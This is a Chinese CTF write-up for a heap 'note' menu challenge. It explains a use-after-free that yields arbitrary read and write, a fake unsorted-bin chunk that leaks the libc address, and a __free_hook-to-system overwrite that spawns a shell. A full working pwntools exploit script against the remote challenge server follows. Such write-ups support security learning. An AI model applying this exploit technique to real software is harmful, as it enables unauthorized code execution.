题目

题目链接

checksec

这是什么鸭

全开

IDA

main

这是什么鸭

菜单题

这是什么鸭

add

这是什么鸭

一次 add 申请两个 chunk ,记为 head_chunkcontent_chunk

delete

这是什么鸭

有明显的 UAF 漏洞

show

这是什么鸭

delete 后仍可以 show

edit

这是什么鸭

delete 后仍可以 edit

read_idx

这是什么鸭

read_size

这是什么鸭

攻击思路

由于一次 add 申请两个 chunk ,而一次 delete 只 free 掉 head_chunk 且不清空数据,而 delete 后仍可以 edit,所以我们可以通过两次 delete 和一次 add 获得一个 head_chunk 的控制权,进而利用 edit/show 实现 AAW/AAR

同时,在上面的操作之前 delete 掉一个 head_chunk 使之进入 tcache ,我们可以利用 chunk 的残留值泄露堆地址,实现对堆的完全控制

然而由于我们并没有操作栈的机会,也没有办法劫持 got 表,因此我们考虑去劫持 __free_hook 函数,这需要泄露 libc 基址

由于 tcache 的结构存在于堆上,而 fastbin 为单向链表,我们没有办法通过它们去泄露 libc 基址,因此考虑 unsorted_bin ,因为进入 unsorted_bin 的 chunk 的 fd/bk 指向 arena ,而 arena 与 libc 基址的相对偏移固定

由于强行塞满 tcache 所需的 chunk 数量过多,不方便操作,因此我们考虑直接修改位于堆上的 counts 数组,使 tcache 看起来是满的

为了绕开 fastbin ,我们考虑使用 size 为 0x90 的 chunk ,同时把对应 tcache 的 counts 设为 7

但是程序只允许 free 掉 0x30 的 chunk ,所以我们需要伪造一个 fake chunk 去绕过安全检测

我们需要伪造的有:

  • chunk_size = 0x91
  • chunk_prev_size = 0x30
  • next_chunk_prev_size = 0x90
  • next_chunk_prev_inuse_bit = 1
  • next_chunk_size 合法,且保险起见,不要让它与 top_chunk 重叠

利用 AAW 伪造完成后, delete 掉 fake_chunk 即可使之进入 unsorted_bin ,再利用 AAR 即可泄露 libc 基址

最后利用 AAW 劫持 __free_hook 为 system 并往一个 head_chunk 中写入 /bin/sh\x00 ,再 delete 掉这个 head_chunk 即可提权

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
p = process('./pwn')
else:
p = remote('node5.buuoj.cn', 28814)

def padd(idx, size, content):
p.recvuntil(b'>>\n')
p.sendline(b'1')
p.recvuntil(b'idx(0~15): ')
p.sendline(str(idx).encode())
p.recvuntil(b'size: ')
p.sendline(str(size).encode())
p.recvuntil(b'note: ')
p.sendline(content)

def pdelete(idx):
p.recvuntil(b'>>\n')
p.sendline(b'2')
p.recvuntil(b'idx(0~15): ')
p.sendline(str(idx).encode())

def pshow(idx):
p.recvuntil(b'>>\n')
p.sendline(b'3')
p.recvuntil(b'idx(0~15): ')
p.sendline(str(idx).encode())

def pedit(idx, content):
p.recvuntil(b'>>\n')
p.sendline(b'4')
p.recvuntil(b'idx(0~15): ')
p.sendline(str(idx).encode())
p.recvuntil(b'content: ')
p.send(content)

def pwrite(addr, val):
payload = p64(0x20) + b'\x00' * 0x10 + p64(addr)
pedit(2, payload)
pedit(0, val)

def pread(addr):
payload = p64(0x20) + b'\x00' * 0x10 + p64(addr)
pedit(2, payload)
pshow(0)

def attack():
padd(3, 0x20, b'')
padd(0, 0x20, b'')
padd(1, 0x20, b'')
pdelete(3)
pdelete(0)
pdelete(1)
padd(2, 0x20, b'')
pshow(2)
p.recvuntil(b'\n')
heap3_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.info(f'heap3_addr = {hex(heap3_addr)}')
pwrite(heap3_addr // 0x1000 * 0x1000 + 0x10 + 0x2 * 7, p64(7))
padd(4, 0x28, b'A' * 0x20 + p64(0x30))
padd(5, 0x70, b'')
pwrite(heap3_addr + 0x28 + 6 * 0x30, p64(0x91))
pwrite(heap3_addr + 0x28 + 6 * 0x30 + 0x90, p64(0x21))
pwrite(heap3_addr + 0x28 + 6 * 0x30 + 0x90 - 8, p64(0x90))
pdelete(5)
pread(heap3_addr + 0x28 + 6 * 0x30 + 0x8)
p.recvuntil(b'\n')
bins0_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.info(f'bins0_addr = {hex(bins0_addr)}')
libc_addr = bins0_addr - 0x1cabe0
log.info(f'libc_addr = {hex(libc_addr)}')
__free_hook_addr = libc_addr + 0x1cce48
log.info(f'__free_hook_addr = {hex(__free_hook_addr)}')
system_addr = libc_addr + 0x30290
log.info(f'system_addr = {hex(system_addr)}')
pwrite(heap3_addr, b'/bin/sh\x00')
pwrite(__free_hook_addr, p64(system_addr))
pdelete(4)
p.interactive()

attack()